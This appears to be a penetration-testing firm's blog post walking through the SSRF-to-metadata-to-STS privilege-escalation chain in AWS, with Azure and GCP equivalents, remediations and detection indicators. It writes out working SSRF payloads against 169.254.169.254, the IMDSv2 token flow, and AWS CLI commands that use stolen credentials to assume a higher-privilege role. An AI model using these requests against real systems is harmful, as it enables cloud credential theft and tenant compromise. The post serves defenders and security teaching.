Blog · C.03 · Cloud Security Deep-Dive

SSRF → IMDSv2 → STS: the cloud privilege-escalation chain we still see weekly

The full attack chain: SSRF entry point to AWS instance metadata to IAM credential theft to STS AssumeRole privilege escalation. Real request/response examples, Azure IMDS and GCP metadata equivalents, why IMDSv2 alone doesn't save you, and the four remediations that actually work.

SSRF AWS IMDSv2 IAM STS Cloud Pen Test
Chain: SSRF Entry → URL Parser Confusion → 169.254.169.254 → IMDSv1/v2 → IAM Role Credentials → STS AssumeRole → Privilege Escalation → Data Plane Access Chain: SSRF Entry → URL Parser Confusion → 169.254.169.254 → IMDSv1/v2 → IAM Role Credentials → STS AssumeRole → Privilege Escalation → Data Plane Access
// TL;DR

A single SSRF vulnerability in a webhook handler, file-import endpoint, or URL-preview feature can become a full tenant compromise in four HTTP requests. The path runs through the AWS instance metadata service (IMDS), extracts temporary IAM credentials from an overprivileged EC2 execution role, and uses STS to assume a higher-privilege role. IMDSv2 mitigates the most naive version of this chain - but only if hop count is enforced and the application itself isn't making server-side requests. We still find exploitable variants weekly across cloud-native applications.

// 01 The full chain at a glance

EntrySSRF
Target169.254.169.254
ExtractIAM Creds
EnumerateIAM Policies
EscalateSTS AssumeRole
ImpactTenant Compromise

Every node in this chain is individually well-understood. What makes it dangerous is that each step is trivially automated and the compound impact - full data-plane access across an entire AWS account - can flow from a single unvalidated URL parameter in a feature that was never considered a security boundary.

// 02 SSRF entry points: where the chain starts

SSRF (Server-Side Request Forgery) occurs when a server-side component makes an outbound HTTP request to a URL that was directly or indirectly controlled by an attacker. The server is the agent - it makes the request from its own network position, which in a cloud environment includes the instance metadata service.

Common SSRF entry points in production applications

EP.01

Webhook configuration

Applications that let users configure webhook delivery URLs and then make test delivery requests from the server. The most common and most reliably exploitable SSRF pattern in SaaS applications.

EP.02

File / URL import

import-from-url, fetch-from-link, and load-from-uri features. Applications that download user-supplied URLs server-side - PDF generators, image importers, data importers, link previewers.

EP.03

Integration / OAuth callbacks

Applications that call a user-supplied callback URL as part of an integration handshake. The URL is assumed to be an external service but is validated only superficially, if at all.

EP.04

Server-side rendering / PDF generation

Headless browser-based PDF/screenshot generators that render arbitrary URLs. If the browser runs with access to the host network, it reaches the metadata service. Puppeteer/Chromium instances are commonly misconfigured this way.

EP.05

URL-preview / Open Graph fetch

Social-media-style link unfurling. Applications that fetch Open Graph metadata from user-supplied URLs. Usually implemented in an async worker that runs with the same cloud identity as the main application.

EP.06

XML / SSRF via XXE

XML parsers configured to resolve external entities (XXE). An attacker-controlled DOCTYPE pointing to http://169.254.169.254/ exploits SSRF through the XML parsing layer rather than a direct URL parameter.

// 03 The IMDSv1 chain: four requests to credential theft

AWS's Instance Metadata Service at 169.254.169.254 provides EC2 instances with metadata about themselves - including the temporary IAM role credentials associated with the instance profile. IMDSv1 requires no authentication. Any process that can make an HTTP request from the instance can retrieve its credentials.

HTTP - IMDSv1 CHAIN## Step 1: Confirm SSRF to metadata service
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/" }

## Response reveals SSRF is working:
HTTP/1.1 200 OK
{ "response_body": "ami-id\nami-launch-index\nblock-device-mapping/\nhostname\niam/\n..." }

## Step 2: Enumerate IAM role name
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

## Response:
{ "response_body": "ec2-app-production-role" }

## Step 3: Retrieve temporary credentials
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-app-production-role" }

## Response - live temporary IAM credentials:
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA3EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token": "AQoDYXdzEJr...",
  "Expiration": "2026-04-26T18:00:00Z"
}

// 04 IMDSv2: why it helps, why it's not enough

IMDSv2 was introduced in 2019 to mitigate SSRF-based metadata theft. It requires a two-step process: the caller must first obtain a session token via a PUT request with a custom header (X-aws-ec2-metadata-token-ttl-seconds), then use that token in subsequent requests. The PUT request requirement defeats most naive SSRF implementations because GET-only SSRFs (including XXE) cannot obtain the token.

HTTP - IMDSv2 TOKEN FLOW## Step 1: Obtain session token (requires PUT - defeats GET-only SSRF)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

## Response: token string
AQAAANjNkMq...

## Step 2: Use token in subsequent requests
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: AQAAANjNkMq...
// Why IMDSv2 alone doesn't save you

Scenario 1 - App-level SSRF with full HTTP method support: If the vulnerable feature makes PUT or POST requests (webhook delivery, HTTP client libraries), the application itself can obtain the IMDSv2 token and the attacker chains requests through it. The SSRF exploit becomes: obtain token, then use token to fetch credentials - two API calls instead of one.

Scenario 2 - Hop limit not enforced: IMDSv2 includes a hop-limit parameter (default 1 for containerised workloads, but often misconfigured). A Lambda function or ECS task with hop limit > 1 is vulnerable to SSRF from within the application even with IMDSv2 enforced.

Scenario 3 - IMDSv2 not enforced, IMDSv1 still available: AWS accounts created before 2019 default to allowing both IMDS versions. Unless the instance is explicitly configured to require IMDSv2 (HttpTokens: required), IMDSv1 remains available. This is still the state of a significant portion of production EC2 fleets.

// 05 STS AssumeRole: from app-level IAM to account-level compromise

Retrieving the EC2 instance profile credentials is usually just the beginning. Most production roles have sts:AssumeRole permissions that allow the application to assume other roles - typically for cross-account access, CI/CD pipelines, or privileged data-plane operations. When those target roles have broader permissions than the instance profile, you have a privilege escalation path.

SHELL - AWS CLI WITH STOLEN CREDS# Configure temporary credentials from IMDS
export AWS_ACCESS_KEY_ID="ASIA3EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr..."

# Step 1: Enumerate attached policies on the role
aws iam list-attached-role-policies \
  --role-name ec2-app-production-role

# Step 2: Check inline policies
aws iam list-role-policies --role-name ec2-app-production-role

# Step 3: Find assumable roles
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789:role/ec2-app-production-role \
  --action-names sts:AssumeRole \
  --resource-arns "*"

# Step 4: Assume higher-privilege role
aws sts assume-role \
  --role-arn arn:aws:iam::123456789:role/DataPlatformAdminRole \
  --role-session-name pen-test-escalation

# Now operating as DataPlatformAdminRole - list all S3 buckets
aws s3 ls

# Common high-impact capabilities found post-escalation:
# - s3:GetObject on data buckets → customer data exfiltration
# - ec2:Describe* → full infrastructure enumeration
# - secretsmanager:GetSecretValue → all application secrets
# - rds:* → database access

// 06 Azure IMDS and GCP metadata server: same chain, different endpoints

The SSRF-to-metadata attack is not AWS-specific. Both Azure and GCP expose instance metadata services with similar characteristics.

Azure Instance Metadata Service

HTTP - AZURE IMDS# Azure IMDS endpoint (no token required for identity endpoint)
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true

# Retrieve managed identity token (equivalent to IAM role credentials)
GET http://169.254.169.254/metadata/identity/oauth2/token
  ?api-version=2018-02-01
  &resource=https://management.azure.com/
Metadata: true

# Response contains access_token for Azure Resource Manager API
# Use token to enumerate subscriptions, resource groups, Key Vault secrets

GCP Metadata Server

HTTP - GCP METADATA# GCP metadata server
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

# Returns OAuth2 access token for the attached service account
# Use to call Google Cloud APIs: Storage, BigQuery, Secrets Manager

# Enumerate all metadata
GET http://metadata.google.internal/computeMetadata/v1/?recursive=true
Metadata-Flavor: Google
// GCP difference

GCP's metadata server requires the Metadata-Flavor: Google header - a deliberate CSRF/SSRF mitigation. Most GET-only SSRF implementations can still add headers, making this a weak protection. The recursive=true parameter is particularly dangerous - it dumps the entire metadata tree including all service account tokens in one request.

// 07 Remediation: four controls that actually work

Remediation 01

Enforce IMDSv2 with hop limit 1

Set HttpTokens: required and HttpPutResponseHopLimit: 1 on every EC2 instance and ECS task definition. This defeats SSRF from inside containerised workloads. Do this via IaC (Terraform/CDK) so it's enforced for all new instances, not just patched retroactively.

Remediation 02

Block metadata IP in outbound rules

Add an egress deny rule on 169.254.169.254/32 at the security group or NACLs level for any instance that doesn't need metadata service access. Application containers rarely need it - the metadata service is primarily used by the host agent (SSM, CloudWatch). Block it where not required.

Remediation 03

Apply URL allowlisting to outbound fetchers

Any application feature that makes server-side outbound requests must validate the destination against a strict allowlist of expected hostnames and IP ranges. Block RFC 1918 addresses (10/8, 172.16/12, 192.168/16), loopback, and link-local (169.254/16) before the request is dispatched.

Remediation 04

Least-privilege IAM roles

Even if SSRF occurs, a correctly scoped role limits blast radius. EC2 / Lambda execution roles should have only the permissions the application actually needs - never sts:AssumeRole on *, never wildcard S3 access. Audit all instance profiles with IAM Access Analyzer before pen testing.

// 08 Detection: what good logging looks like

SSRF-to-IMDS attacks leave distinct traces if you're logging the right things. The following CloudTrail events should trigger immediate investigation in a mature cloud security programme:

CloudTrail EventIndicatorSeverity
GetCallerIdentityCredential use from unexpected IP / region - attacker confirming credential validityHigh
AssumeRoleEC2 instance profile assuming a role it has never assumed beforeHigh
ListBuckets / GetObjectFirst-ever S3 access from an EC2 instance profile with no prior S3 activityHigh
GetSecretValueSecrets Manager access from an EC2 role at an unusual time or from a new regionCritical
DescribeInstancesBroad infrastructure enumeration from application-tier roleMedium
CY

CyberFortify Research

Cloud Security Practice

Field notes from AWS, Azure, and GCP penetration testing engagements. All attack chains described are tested in authorised engagements. CyberFortify's cloud pen testing service covers IAM configuration, container security, serverless attack surface and network segmentation.

Is your cloud infrastructure protected against this chain?

CyberFortify's cloud penetration testing engagements test SSRF-to-metadata paths, IAM privilege escalation, container escapes and serverless attack surfaces across AWS, Azure and GCP - delivering a fixed-price engagement with audit-ready reporting.

Schedule scoping call → Cloud pen testing →